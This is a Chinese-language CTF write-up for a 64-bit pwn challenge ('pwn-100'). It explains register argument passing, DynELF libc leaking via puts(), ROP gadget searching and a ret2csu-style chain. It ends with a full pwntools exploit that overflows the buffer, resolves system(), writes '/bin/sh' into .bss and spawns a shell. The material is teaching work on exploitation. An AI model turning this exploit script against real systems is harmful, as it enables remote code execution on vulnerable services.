前言
许久过去了,对于Pwn也是有了更深的了解,但是还是处在初级阶段,仅以此记表示正在前行。
前置知识
这是一个64位程序,所以需要了解一下64位和32位程序的区别。32位程序(8个寄存器)使用栈帧作为参数传递,64位程序(16个寄存器)使用寄存器传递参数。其寄存器rdi,rsi,rdx,rcx,r8,r9分别作为第1-6个参数,rax作为返回值,rbp为通用寄存器。64位没有栈帧指针,32位采用ebp为栈帧指针。
需要注意的是,存在这些规则:
- 前六个参数:rdi,rsi,rdx,rcx,r8,r9;
- r13=rdx=参数3;
- r14=rsi=参数2;
- r15d=edi=参数1;
- r12=call address(调用函数地址)。
这道题用到了新知识:DynELF。即在没有libc时,通过泄露程序本身内存地址再经过查询得到libc地址,和libcsearcher道理基本相同。
但是这道题没有简单的write函数可以利用,可以使用DynELF穷举后查询(也可以泄露这道题的read()地址,再用libcsearcher查询)。
DynELF利用puts()进行地址泄露已经成了一种套路,详情可见此处。
开始
那么我们首先需要看一下此程序开启了哪些保护机制:
分析程序,看到有puts()函数可以利用,还有read()函数,那么我们可以通过read()函数执行puts()函数来泄露地址。
同时因为64位程序没有使用栈帧传递参数,所以在调用puts()前需要向rdi赋值,所以我们首先使用命令:
ROPgadget --binary pwn-100 --only "pop|ret" | grep rdi |
得到可存储寄存器的地址,接着后面接上想赋值的地址,再调用puts()即可泄露地址。
泄露后即可使用DynELF查找得到system的地址。接着我们发现此程序没有/bin/sh,所以我们还需要自己写入。所以我们还需要找到一段有写权限的地址。
在gdb中,运行程序后使用命令:vmmap
可以得到可写地址。
需要注意的是,rbp,rbx,rsp,r12,r10~r15是需要保护的(非易失的),即程序结束时,需要恢复其初始值。
泄露地址后,现在问题来了,既然参数只能通过寄存器来赋值,那么我们怎么搞呢?这就需要ROP链(将参数传入寄存器)了,我们从汇编代码中看到:
程序有可以利用的ROP链,于是先调用pop为寄存器赋值,再mov给参数,接着从图片中看出调用mov后会再次进入pop程序段,此时需要填充字符至ret返回地址,也满足了恢复初值的要求。
注意点:
- v1的偏移不管是从ida口算(0x40+前栈帧0x8)还是使用gdb调试都能得出0x48=72的结果;
- 因为从ida看出程序中puts(‘bye~’)地址比rdi_addr低,所以会先执行puts(‘bye~’)再执行泄露puts()。
构造POC
from pwn import *
p=remote('',)
elf=ELF('./pwn-100')
puts_addr=elf.symbols['puts']
read_addr=elf.symbols['read']
pop_addr=0x40075a #rbx,rbp,r12,r13,r14,r15
mov_addr=0x400740 #rdx=r13=argv3,rsi=r14=argv2,edi=r15d=argv1
rdi_addr=0x400763
bss_addr=0x601000
start_addr=0x400550
def leek(addr):
payload='a'*0x48+p64(rdi_addr)+p64(addr)+p64(puts_addr)+p64(start_addr)
#即执行puts(addr),再返回start。
payload=payload.ljust(200,'0') #将payload根据程序要求调整至200
p.send(payload)
p.recvuntil('bye~\n')
content=''
last=''
count=0
while True:
tmp=p.recv(numb=1,timeout=0.5) #指定接收一字节,指定超时时间0.5s
if last=='\n' and tmp=='':
content=content[:-1]+'\x00'
break
else:
content+=tmp
last=tmp
content=content[:4]
log.info("%#x => %s" % (addr,(content or '').encode('hex')))
return content
libc=DynELF(leek,elf=elf)
system_addr=libc.lookup('system','libc')
payload='a'*0x48
payload+=p64(pop_addr) #进行pop操作
payload+=p64(0) #rbx=0,rbx对我们无用,故置0,置1会hack失败
payload+=p64(1) #rbp=1,达到调用read()函数的目的
payload+=p64(read_addr) #read()函数
payload+=p64(8) #read()的参数,读入8字节
payload+=p64(bss_addr) #写入地址
payload+=p64(1)#r15置1,此时按照前置知识中规则,相当于执行read(1,bss_addr,8)
payload+=p64(mov_addr) #赋值,真正执行构造的函数
payload+='\x00'*56 #mov段进入pop段时有7个pop段,64位每个8字节,总共56字节
payload+=p64(start_addr)
payload=payload.ljust(200,'0')
p.send(payload)
p.recvuntil('bye~\n')
p.send('/bin/sh\x00')
payload='a'*0x48+p64(rdi_addr)+p64(bss_addr)+p64(system_addr)
payload=payload.ljust(200,'0')
p.send(payload)
p.interactive()
这道题用sendline会报错,send就没事,找错的时候搞了半天。。。我们也可以只用LibcSearcher来编写代码。